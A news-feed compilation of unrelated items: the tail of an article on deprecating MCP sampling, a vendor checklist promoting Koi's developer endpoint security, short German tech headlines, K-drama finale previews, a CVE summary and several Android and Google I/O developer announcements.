“Sampling let MCP servers invoke the LLM through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”

The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”

Updated MCP SDKs

To accompany the protocol update, there are updated MCP SDKs for Python, Typescript, Go, and C#. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.

That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.

Identifying and auditing those session dependencies may not be easy, Jena warned.

“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.

This article first appeared on InfoWorld.

5 endpoint blind spots your EDR/XDR was never built to see

Sat, 25 Jul 2026 18:55:47 +0200

In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.

That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.

This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.

To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.

#1. Gain real-time visibility into shadow AI & extensions

Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the MaliciousCorgi campaign, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.

#2. Distinguish between human and autonomous agent behavior

When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.

#3. Establish guardrails for automated package updates on endpoints

Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.

#4. Enforce principle of least privilege for AI agents

AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.

#5. Maintain continuous endpoint posture management

Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the DarkSpectre campaign found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.

Summary

Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity.

Ready to secure the future of your software stack? See how Koi Agentic Endpoint Security delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.

Why Is ChatGPT Showing Error 451? Complete Fix Guide

Sat, 25 Jul 2026 18:53:10 +0200

Key TakeawaysError 451 with ChatGPT usually appears due to location-based restrictions, often because of where your internet connection seems to originate. This can happen due to regional rules, VPN or proxy usage, or network policies by schools, workplaces, or internet providers.To fix Error 451, start by checking if ChatGPT is experiencing an outage on the […]

The post Why Is ChatGPT Showing Error 451? Complete Fix Guide appeared first on iTech Hacks.

Digicrimination: Wenn KI entscheidet, wer sichtbar ist

Sat, 25 Jul 2026 18:52:56 +0200

Ein aktuelles Urteil zu Googles AI-Overviews zeigt: KI-generierte Antworten sind eigenständige Inhalte mit eigener Haftung.

Tags: #Künstliche Intelligenz | #Sichtbarkeit

Google-Bußgeld der EU: Trump droht mit «erheblichem Zoll»

Sat, 25 Jul 2026 18:52:55 +0200

Nur einen Tag nach der jüngsten Bekanntgabe neuer US-Zölle poltert US-Präsident Trump erneut. Ihm gefällt die Strafe der EU so gar nicht.

Tags: #EU | #Google | #USA

Malware msaRAT leitet Datenverkehr über Chrome um

Sat, 25 Jul 2026 18:52:55 +0200

Die Ransomware-Gruppe Chaos setzt die neue Malware msaRAT ein. Sie leitet ihren Datenverkehr über Headless-Browser und Cloudflare-Dienste um.

Tags: #Chrome | #Cyber Crime | #Malware

Informatik-Einschreibungen an US-Hochschulen erstmals seit 20 Jahren rückläufig

Sat, 25 Jul 2026 18:52:55 +0200

Erstmals seit zwei Jahrzehnten sinken die Studierendenzahlen in der Informatik an US-Hochschulen. Dies zeigen Daten der Stanford University.

Tags: #Informatik | #Studium

Club MacMost Early Access: Master Context Menus On Your Mac

Sat, 25 Jul 2026 17:03:29 +0200

Agent Kim Reactivated Finale Preview: Will Agent Kim Fight His Closest Friends?

Sat, 25 Jul 2026 14:45:18 +0200

Agent Kim Reactivated Episode 10 will place Manager Kim and his closest allies inside their most personal and dangerous battle yet. With their children being used as hostages, the three fathers must find a way to defeat Ju Gang-chan without turning against each other. Release date: July 25, 2026 Release time: 9:45 p.m. KST on SBS Spoiler warning for Episode 9 Episode 9 followed Manager Kim, Seong Han-su and Park Jin-cheol as they entered another heavily guarded location and fought through Gang-chan’s men. Han-su and Jin-cheol handled several attackers together, while Manager Kim used his old operational skills to clear the remaining guards. However, Gang-chan had already prepared a cruel backup plan. He arranged the kidnapping of Han-su and Jin-cheol’s children, giving him complete control over the fathers before the final confrontation. The story began with Manager Kim leaving his secret past behind and raising his daughter Min-ji as an ordinary single father. Her disappearance forced him to reactivate his black-ops skills and reconnect with former operatives Han-su and Jin-cheol. Since then, each man’s family has become connected to Manager Kim’s unfinished conflicts. Will the three agents fight each other? The Episode 10 preview suggests that Gang-chan will force the three men into a cage and demand that Han-su and Jin-cheol kill Manager Kim. Their children’s survival appears to depend on whether they follow his instructions. This creates a painful choice for both fathers. Manager Kim previously risked everything to protect their families, but Han-su and Jin-cheol cannot ignore an immediate threat against their children. Still, the three agents know each other’s abilities well. Their apparent conflict could become part of a plan to distract Gang-chan, escape the cage and reach the hostages before his men can act. Will all the families survive? The finale’s official description says the three men become enemies while trying to protect the people they love. This confirms that every family will remain in danger until the final moments. Manager Kim will likely take the greatest risk because he understands Gang-chan’s methods and refuses to let another child suffer because of his past. Min-ji could also play an important role, especially after repeatedly showing courage during earlier threats. Episode 10 should end the conflict between Manager Kim and Gang-chan while revealing whether the three fathers can save every hostage. Do you think all the agent families will survive the finale? Let us know in the comments.

‘Agent Kim Reactivated’ Episode 10 Finale Release Date and What to Expect

Sat, 25 Jul 2026 13:19:44 +0200

Agent Kim Reactivated Episode 10 will release on Saturday, July 25, 2026, bringing the Korean action drama’s first season to an end. The finale will air on SBS in South Korea before becoming available to international viewers on Netflix. The final episode will begin at 9:45 p.m. KST, which is five minutes earlier than the show’s usual 9:50 p.m. slot. SBS has also confirmed that Episode 10 will have a slightly extended runtime, giving the series more time to resolve its remaining conflicts. Agent Kim Reactivated Episode 10 release details Episode: 10 Release date: Saturday, July 25, 2026 SBS broadcast time: 9:45 p.m. KST Streaming platform: Netflix Total episodes: 10 Genre: Action, crime, comedy and thriller Netflix normally adds new episodes after their Korean television broadcast, although the exact arrival time can differ by country. Where is the story heading in the finale? Spoilers for Episode 9 follow. Episode 9 placed Manager Kim and his allies in the middle of a dangerous extraction operation. Kim attempted to rescue Ri Eung-ryeong from North Korean agents while Han-su, Jin-cheol and Sang-a helped him enter a heavily guarded hotel. The operation quickly fell apart after communications were cut and the building lost power. Kim and Ri Eung-ryeong were surrounded by armed agents near the loading area, leaving their escape uncertain. Meanwhile, Ju Gang-chan’s assistant kidnapped the children of Han-su and Jin-cheol. The episode ended with both fathers learning that their families were being used against them, setting up another personal rescue mission for the finale. Episode 10 should therefore focus on Kim escaping the hotel, protecting Min-ji and helping his friends save their children. The finale must also settle Ju Gang-chan’s fate and reveal whether Kim can finally leave his violent past behind. How did Agent Kim’s story begin? The series started with Kim living quietly as an office worker and raising his teenage daughter, Min-ji, after his wife’s death. His ordinary life collapsed when Min-ji disappeared, forcing him to reveal the black-ops abilities he had kept hidden for years. As Kim searched for his daughter, the mission exposed old enemies, secret government operations and unresolved connections to North Korea. His former life gradually placed everyone around him in danger. Agent Kim Reactivated Episode 10 now has several major storylines to complete during its extended finale. Do you expect Manager Kim and Min-ji to receive a happy ending? Let us know in the comments.

CVE-2024-14030 | YVES Sereal::Decoder up to 4.009_002 on Perl Compression vulnerable third-party component (GHSA-w77f-wv46-4vcx)

Sat, 25 Jul 2026 13:12:42 +0200

A vulnerability identified as problematic has been detected in YVES Sereal::Decoder up to 4.009_002 on Perl. This impacts the function Sereal::Decoder of the component Compression Handler. Performing a manipulation results in dependency on vulnerable third-party component. This vulnerability was named CVE-2024-14030. The attack may be initiated remotely. There is no available exploit.

Android CLI Now Stable 1.0: Accelerate developing for Android using any agent

Sat, 25 Jul 2026 10:15:49 +0200

Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers

As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio, Antigravity 2.0, Antigravity CLI, or third-party agents like Anthropic's Claude Code or OpenAI'sCodex, our mission remains the same: to ensure that high-quality Android development is possible everywhere.

At Google I/O ‘26, we shared the latest leaps forward in agentic development, and showcased some of the newest capabilities of Android CLI—now stable at version 1.0 and ready for all Android developers to use. From new skills to enabling agent access to powerful Android Studio capabilities, we’re giving your agents the right tools to build alongside you.

If you’re already using Android CLI and want to jump into using all the new features, just run android update. Otherwise, read further to learn more about how we’re making the agents you choose be better at building for Android.

Android development unlocked for Antigravity

Google Antigravity now includes an optional bundle of Android resources—including the Android CLI and skills—that you can install. You can either install the bundle during onboarding after installation, or later from the Settings > Customizations > Build With Google Plugins menu.

This provides Antigravity with all the powerful tools and knowledge of Android CLI, enabling it to perform the core tasks necessary for Android app development more easily and efficiently—from creating projects to deploying your app on a new Android virtual device.

You can now easily install Android CLI for use with Google Antigravity 2.0.

Unlocking Android Studio capabilities for any agent

Android CLI provides a lightweight interface for AI Agents to perform tasks and retrieve knowledge about Android development. However, there's benefits to specialization — Android Studio contains over a decade of Android expertise, built to handle even the most complex Android projects. This includes Android Studio's powerful static analysis engine, refactoring tools, dependency management, UI design and rendering libraries, and more. AI Agents can now tap into Android Studio's tools to gain many of these same capabilities.

Your agents can now use Android CLI to access powerful capabilities of Android Studio.

The latest version of Android CLI introduces the new android studio command. This enables the agent of your choice to leverage the deep, contextual capabilities of Android Studio to better understand and perform actions on an open Android project. By running Android Studio alongside your preferred agent with Android CLI, your agent’s tasks can more efficiently navigate the codebase to produce more precise code changes. And, when you use Android CLI to create and iterate on your project, transitioning to Android Studio is much easier, so that you can use the purpose built tools—such as, performance profilers, Compose Previews, and Android Device Streaming—to get that production-grade polish.

When you have a project open in the latest preview version of Android Studio Quail, you (or your agent) can run the following command to check whether Android CLI has a connection established with your open project:

$ android studio check
pid: 32942
version: Android Studio
Projects:
    READY     JetSet /Users/adarshf/AndroidStudioProjects/jetset-main

From there, the agents can use the android studio command to access powerful IDE tools to interact with projects more efficiently. Key commands include:

analyze-file: Analyzes a file for errors and warnings using the editor's built-in inspections.
find-declaration: Finds the exact definition site of a symbol (class, method, variable, field, constant, or Android resource/color) across the project using semantic resolution.
find-usages: Finds all references and declarations of a symbol (class, method, variable, or Android resource) across the entire project using semantic analysis.
render-compose-preview: Renders a Jetpack Compose UI Preview and returns a path to the image and UI hierarchy if successful.
version-lookup: Get the latest information about which versions for specified app dependencies are available in common repositories, such as the Google Maven repository. By providing a programmatic solution, dependency management is less tedious and much less prone to flakiness.
open-file: Opens a file directly in Android Studio. This is useful if the agent wants to direct your attention to view Compose Previews, performance traces, or other specific files in the IDE.

For example, agents can now run the following commands to render a Compose preview for a new layout for your Android app, and then open the previews in Android Studio for you to take advantage of seeing multiple Compose Previews side by side and make AI-assisted edits right from the IDE.

$ android studio find-declaration HotelDetailScreen
$ android studio analyze-file .../JetPacker/feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt
$ android studio open-file feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt

To learn more about how to use these commands, run android help. And, to make sure your agents understand how to work with this tool, make sure to update the Android CLI skill by running android init.

More ways to get started

To make integrating Android CLI into your environments as seamless as possible, we’re making it available in more ways. You can now download and install Android CLI using more package managers: apt-get, winget, and homebrew. For example, you can run the following to install Android CLI using winget:

winget install -e --id Google.AndroidCLI

We’ve also updated the installation to a user-local directory, by default. You can find the commands for all supported operating systems plus additional download options on the Android CLI page.

Support for Journeys

Journeys are natural language descriptions of core user experiences.

We are also introducing support for Journeys. With Journeys tools and skills included with Android CLI, any agent of your choice can now create and run Journeys—which are natural language descriptions of user journeys for your app that are saved directly to your project.

(sped up) An agent running a Journey it generated for an app.

Agents can run these journeys using the Android CLI to navigate your app exactly like a user would. This unlocks entirely new ways to test, validate, or collect data across the critical experiences of your app, all driven by natural language and executed by your agent.

Expanding Android skills

To help models better understand and execute specific patterns that follow our best practices, we are continuing to expand our library of Android skills. We’re shipping new skills that make Android development everywhere more capable, efficient, and productive:

Display Glasses and Jetpack Compose Glimmer for XR: Provides guidelines for developing projected applications for Android Display Glasses using the Jetpack Compose Glimmer UI toolkit.
Migration to CameraX: Helps you migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.
Perfetto SQL: Translates natural language data prompts into Perfetto SQL queries and executes them against a local trace file.
Adaptive UI: Instructions to make or update an app's UI so that it adapts to different Android devices
Testing setup: Creates a basic testing strategy.
Styles: Helps with adoption of the new Jetpack Compose Style API for new components, and supports migration to Styles API.
AppFunctions: Analyzes Android codebases to recommend and implement new AppFunctions, and refines KDoc documentation for Model Context Protocol optimization.

You can add these new skills to your workflow directly from the command line. To help your agents understand and use Android CLI right away, you can initialize your environment and install the base android-cli skill by running:

android init

From there, you can browse and set up your agent workflow by searching for the exact capabilities your agent needs:

android skills list

Once you've found the right skill, install it to your environment by running:

android skills add –skill=

Get started today

To download the stable 1.0 release of the Android CLI, explore the new tools, and browse the complete documentation, head over to d.android.com/tools/agents today! Also, make sure you update to the latest preview version of Android Studio to unlock the latest features that Android CLI offers. We can't wait to see what you build with Android CLI 1.0 and how these new features supercharge your daily workflows. Join our vibrant community on LinkedIn, Medium, YouTube, or X and share your feedback.

Explore this announcement and all Google I/O 2026 updates on io.google.

Build native Android apps in Google AI Studio

Sat, 25 Jul 2026 10:15:46 +0200

Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.

The power of native Android

While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to quickly create new projects with Gemini in Android Studio directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.

A seamless, end-to-end workflow

We have streamlined the entire development lifecycle so you can focus on your idea:

1. Create your app and iterate in the cloud: Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.

Use the embedded Android Emulator to create and edit Android Apps right in the web browser

2. Install instantly: Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).

Install the app on your Android device

3. Streamlined Publish to Google Play: Using your Google Play developer account, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio.

Publish the app to an internal test track in Google Play

Seamless app development handoff

As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to Android Studio by downloading a ZIP file or exporting it directly to GitHub.

Download zip file of Android app project files

When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend Gemini in Android Studio, which features models designed with Android in mind, or Antigravity, which integrates Android CLI commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.

Start building today

To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:

Personal utilities and simple social apps: You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.
Hardware-enabled experiences: Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.
AI-powered experiences: You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.

What’s Next?

We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:

Managing Google Play Test Tracks: Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio.
Firebase integrations: Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.

Head over to Google AI Studio right now to start building. Here is some inspiration to get you started…

Turn your Google Pixel Watch into an aviation assistant

Prompt:

Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.

Interactive Harmonium app on Google Pixel Fold
Prompt: Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.

An Android app for guitarists to become better musicians by jamming to backing tracks

Prompt:

Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.

The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.

Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.

We are looking forward to seeing what you build next!

Explore this announcement and all Google I/O 2026 updates on io.google.

Top AI on Android updates for building intelligent experiences from Google I/O ‘26

Sat, 25 Jul 2026 10:15:43 +0200

Posted by Jingyu Shi, Staff Developer Relations Engineer

At Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. If you missed these updates, check out our quick recap video here:

1. Putting your apps at the center of the intelligence system

The Android OS already enables agents like Gemini to complete task automation, where it can navigate an app on the users behalf.

AppFunctions (Android MCP) provides you with more control over how your app integrates with the intelligence system. This new platform API and Jetpack library are currently available in experimental preview.

Android MCP: AppFunctions allows your application to act as an on-device Model Context Protocol (MCP) server. It means you seamlessly share your app's tools, services and data to the system and agents.

Streamlined Development: You can leverage the new skill to easily generate AppFunctions within your codebase.

Exploration and Testing: We’ve released a new test agent that allows you to experiment and debug your AppFunctions in a simulated agent environment.

Early Access Program: Want to be among the first apps to deploy app functions in production? Join our early access program today!

To see it in action, check out the live demo showcased during the What’s New in Android presentation.

2. On-Device Power with Gemini Nano 4 Preview

Last month, we launched Gemma 4, our state-of-the-art open models. You can already preview and prototype with the next generation of Gemini Nano (Nano 4) models with the AIcore developer preview. To make productionizing with Gemini Nano more reliable and performant, we are adding a few new features in ML Kit GenAI APIs:

Prototype to Production: Transition from prototyping in the AICore Developer Preview to building production-ready apps using the ML Kit GenAI Prompt API to leverage Gemini Nano 4 that’s launching in flagship devices later this year.

Structured Output: The upcoming Structured Output API will allow you to define object classes to be returned as outputs from Prompt API, ensuring reliable outputs in productionizing your intelligent features.

Prefix Caching: It optimizes your on-device inference performance with the prompt API. The new Prefix caching reduces inference time by storing and reusing the intermediate LLM state of processing a shared and recurring part of the prompt.

For highly customized or niche use cases, you can also use LiteRT-LM to bring your own fine-tuned small language model to Android.

3. Hybrid Inference & Agents

To help you build more advanced AI features like hybrid inference and explore building in-app agents, we’ve released new APIs, framework and guidances:

Firebase AI Logic Hybrid Inference: This new API provides the simple routing capability between on-device models and powerful cloud infrastructure. You can set explicit orchestration modes, such as PREFER_ON_DEVICE, PREFER_CLOUD, ONLY_ON_DEVICE, or ONLY_CLOUD, based on your need.

A2UI Jetpack Compose Renderer: The new A2UI library allows your agents to "speak UI". With the upcoming Jetpack Compose Renderer, you can automatically render these A2UI messages as native UI components.

ADK for Android: The first version of ADK for Android is available for experimentation. It allows you to build multi-agent workflows across both on-device and Cloud models while managing orchestration, context handling and sessions between agents.

From building with on-device models, exploring hybrid inference to building agents, you can see them in action in this talk:

Start Building Today

Whether you are experimenting with AppFunctions to prepare for the intelligence system, or looking to bring the power of Google’s AI within your own app, we’ve got you covered. Dive deeper into the code snippets, samples and comprehensive developer guides on the Android AI hub. For the full breakdown of what’s new, check out the official AI on Android at Google I/O 2026 playlist.

We are excited to see what you build!

Building Premium Android Experiences at Google I/O ‘26

Sat, 25 Jul 2026 10:15:42 +0200

Posted by Ataul Munim, Android Developer Relations Engineer

A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app's quality while maximizing development efficiency.

To help you build apps that stand out, we're diving into the key tools and libraries designed to optimize your core performance, extend the surfaces of your app to other devices, and streamline how your app handles high-quality media.

Here is a recap of the essential updates and sessions you need to know to deliver a next-level experience across form factors!

Maximize app performance and ROI with the R8 Configuration Analyzer

A premium experience is only as good as its foundation, and a performant foundation is what allows your app to scale across the Android ecosystem. This is especially true with the release of Android 17, which introduces conservative, device RAM-based app memory limits to target extreme memory leaks and outliers before they cause system-wide instability. To stay below these new system thresholds and prevent your app from being terminated, having a lean footprint is no longer optional: it’s a critical requirement.

This year, we’re making it easier to build highly optimized, fast apps by introducing the R8 Configuration Analyzer in Android Studio. R8 is your most powerful tool for improving app performance, but its effectiveness is often limited by overly broad "keep rules" that prevent the compiler from stripping away unused code. The new Configuration Analyzer provides optimization, obfuscation, and shrinking scores, allowing you to identify specific rules that are preventing the benefits of R8 optimization.

By optimizing their R8 configurations, developers at Monzo achieved a 30% improvement in cold starts and a 35% reduction in ANRs. Smaller, faster code isn't just about efficiency; it's about ensuring your app has the memory headroom to deliver delight on every form factor, from the phone to the car.

Extend your reach with a unified approach to Widgets on Phones, Watches and Cars

User interaction is shifting toward quick, glanceable moments—short bursts of information that keep users connected without needing to open the full app. To help you increase the reach of your app content, we are unifying the development experience across the Android ecosystem with Jetpack Glance. By using a consistent, Compose-based model, you can elevate the content most important to your users straight to the phone’s home screen, Wear Widgets (previously Tiles!), and cars with a familiar workflow.

In order to help users engage with your content and features, even outside your app, we are making widgets more expressive and adaptive with RemoteCompose. On Wear OS, RemoteCompose allows you to use the Compose tools you’re already comfortable with to define UI logic that renders natively on remote surfaces, ensuring that your glanceable experiences remain highly performant and responsive even on resource-constrained hardware. On mobile and cars, RemoteCompose is used as a new framework giving Widgets new expressive capabilities.

You can use Jetpack Glance (together with RemoteCompose on Wear) to deliver a cohesive user journey. Whether it’s viewing flight status on the car dashboard, checking a gate change on a watch, or managing a boarding pass from a phone widget, this shared approach maximizes your app’s presence while keeping your development effort focused and efficient.

Supercharge your media pipeline with a complete, production-ready toolkit

Android has become a world-class home for the entire media lifecycle, and we are simplifying the journey from the first capture to the final playback. By leveraging Jetpack CameraX and Media3, you can build professional-grade experiences that feel native across the entire ecosystem.

It starts with high-fidelity capture using the CameraXViewfinder Composable, which ensures your preview remains perfectly scaled and responsive on any form factor, including foldables and tablets. Use this to build adaptive capture experiences like a picture-in-picture view for multi-tasking, or that take advantage of modern features like high-frame-rate or slow-motion capture with CameraX v1.5.

The new Media3 AI Effects library will provide a unified interface for premium features like Image & Video Enhance, Magic Eraser, and Studio Sound. This allows you to focus on the creative intent while Media3 handles the heavy lifting of choosing the most efficient and reliable path for the device. Then, use the latest improvements in multi-asset editing with Media3 Transformer to composite your edited videos together!

Complete the pipeline with tools designed for professional-grade export and viewing, including:

CodecDB, which offers data-driven encoding recommendations tailored to specific chipsets, ensuring your exported videos maintain high visual quality with minimal noise or blurriness
Scrubbing Mode in ExoPlayer to provide the buttery-smooth seeking experience users expect from premium media apps
Enhanced Cast support with the new CastPlayer API in Media3

By unifying these technical pillars, you can build a cohesive, high-performance media journey that delivers both delight for your users and high ROI for your development team.

For more details, check out the premium Android experience YouTube playlist.

Android 17 is here

Sat, 25 Jul 2026 10:15:36 +0200

Posted by Matthew McCullough, VP of Product Management, Android Developer

Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.

Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the Android Open Source Project (AOSP). This allows you to examine the source code for a deeper understanding of how Android works.

Let's dive deeper into Android 17.

An intelligence system

With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the Model Context Protocol. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.

The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.

/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}

We’ve also launched an AppFunctions agent skill that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.

The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a test agent app that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at goo.gle/eap-af for a chance to be among the first apps to deploy AppFunctions to production.

Adaptive-first

Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over 580 million large screen devices in the hands of users and the forthcoming launch of Googlebooks, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an adaptive-first development standard.

No resizability/orientation restrictions on large screens

To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on large screen devices (sw > 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on app category in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.

Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP

Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:

App Bubbles: Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.
The Bubble Bar: On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.
Desktop interactive PiP: In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.

